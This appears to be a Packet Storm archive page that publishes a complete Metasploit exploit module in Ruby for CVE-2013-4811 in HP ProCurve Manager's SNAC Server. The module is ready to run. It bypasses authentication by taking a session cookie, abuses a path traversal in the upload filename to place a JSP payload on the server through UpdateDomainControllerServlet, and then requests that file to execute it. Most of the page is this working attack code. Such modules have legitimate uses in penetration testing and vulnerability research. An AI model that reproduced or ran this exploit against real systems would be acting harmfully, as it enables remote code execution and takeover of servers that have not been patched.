exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

HP ProCurve Manager SNAC UpdateDomainControllerServlet File Upload

HP ProCurve Manager SNAC UpdateDomainControllerServlet File Upload
Posted Sep 17, 2013
Authored by rgod, juan vazquez | Site metasploit.com

This Metasploit module exploits a path traversal flaw in the HP ProCurve Manager SNAC Server. The vulnerability in the UpdateDomainControllerServlet allows an attacker to upload arbitrary files, just having into account binary writes aren't allowed. Additionally, authentication can be bypassed in order to upload the file. This Metasploit module has been tested successfully on the SNAC server installed with HP ProCurve Manager 4.0.

tags | exploit, arbitrary
advisories | CVE-2013-4811, OSVDB-97154
SHA-256 | c9ac22deeaaeec7f4f88fb2108052d3e62513624019a0ece3319ace029dc61b8

HP ProCurve Manager SNAC UpdateDomainControllerServlet File Upload

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'HP ProCurve Manager SNAC UpdateDomainControllerServlet File Upload',
'Description' => %q{
This module exploits a path traversal flaw in the HP ProCurve Manager SNAC Server. The
vulnerability in the UpdateDomainControllerServlet allows an attacker to upload arbitrary
files, just having into account binary writes aren't allowed. Additionally, authentication
can be bypassed in order to upload the file. This module has been tested successfully on
the SNAC server installed with HP ProCurve Manager 4.0.
},
'Author' =>
[
'rgod <rgod[at]autistici.org>', # Vulnerability Discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-4811' ],
[ 'OSVDB', '97154' ],
[ 'BID', '62349' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-226/' ]
],
'Privileged' => true,
'Platform' => 'win',
'Arch' => ARCH_JAVA,
'Targets' =>
[
[ 'HP ProCurve Manager 4.0 SNAC Server', {} ]
],
'DefaultTarget' => 0,
'DefaultOptions' =>
{
'SSL' => true,
},
'DisclosureDate' => 'Sep 09 2013'))

register_options(
[
Opt::RPORT(443)
], self.class )
end

def check
session = get_session
if session.nil?
return Exploit::CheckCode::Safe
end

res = send_request_cgi({
'uri' => "/RegWeb/RegWeb/GetDomainControllerServlet",
'cookie' => session
})

if res and res.code == 200 and res.body =~ /domainName/
return Exploit::CheckCode::Appears
end

return Exploit::CheckCode::Safe
end

def get_session
res = send_request_cgi({ 'uri' => "/RegWeb/html/snac/index.html" })
session = nil
if res and res.code == 200
session = res.get_cookies
end

if session and not session.empty?
return session
end

return nil
end

def exploit_upload(session)
jsp_name = "#{rand_text_alphanumeric(8+rand(8))}.jsp"
post_message = Rex::MIME::Message.new
post_message.add_part(payload.encoded, "application/octet-stream", nil, "form-data; name=\"adCert\"; filename=\"\\../#{jsp_name}\"")
post_message.add_part("{}", nil, nil, "form-data; name=\"ad_data\"")
post_message.add_part("add", nil, nil, "form-data; name=\"ad_action\"")
data = post_message.to_s
data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part")

res = send_request_cgi(
{
'uri' => "/RegWeb/RegWeb/UpdateDomainControllerServlet",
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{post_message.bound}",
'cookie' => session,
'data' => data,
})

if res and res.code == 200 and res.body =~ /success:false/
return jsp_name
end

return nil
end

def peer
return "#{rhost}:#{rport}"
end

def exploit
print_status("#{peer} - Getting a valid session...")
session = get_session
if session.nil?
fail_with(Failure::NoTarget, "#{peer} - Failed to get a valid session")
end

print_status("#{peer} - Uploading payload...")
jsp = exploit_upload(session)
unless jsp
fail_with(Failure::NotVulnerable, "#{peer} - Upload failed")
end

print_status("#{peer} - Executing payload...")
send_request_cgi({ 'uri' => "/RegWeb/#{jsp}" })
end

end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    69 Files
  • 14
    Nov 14th
    9 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close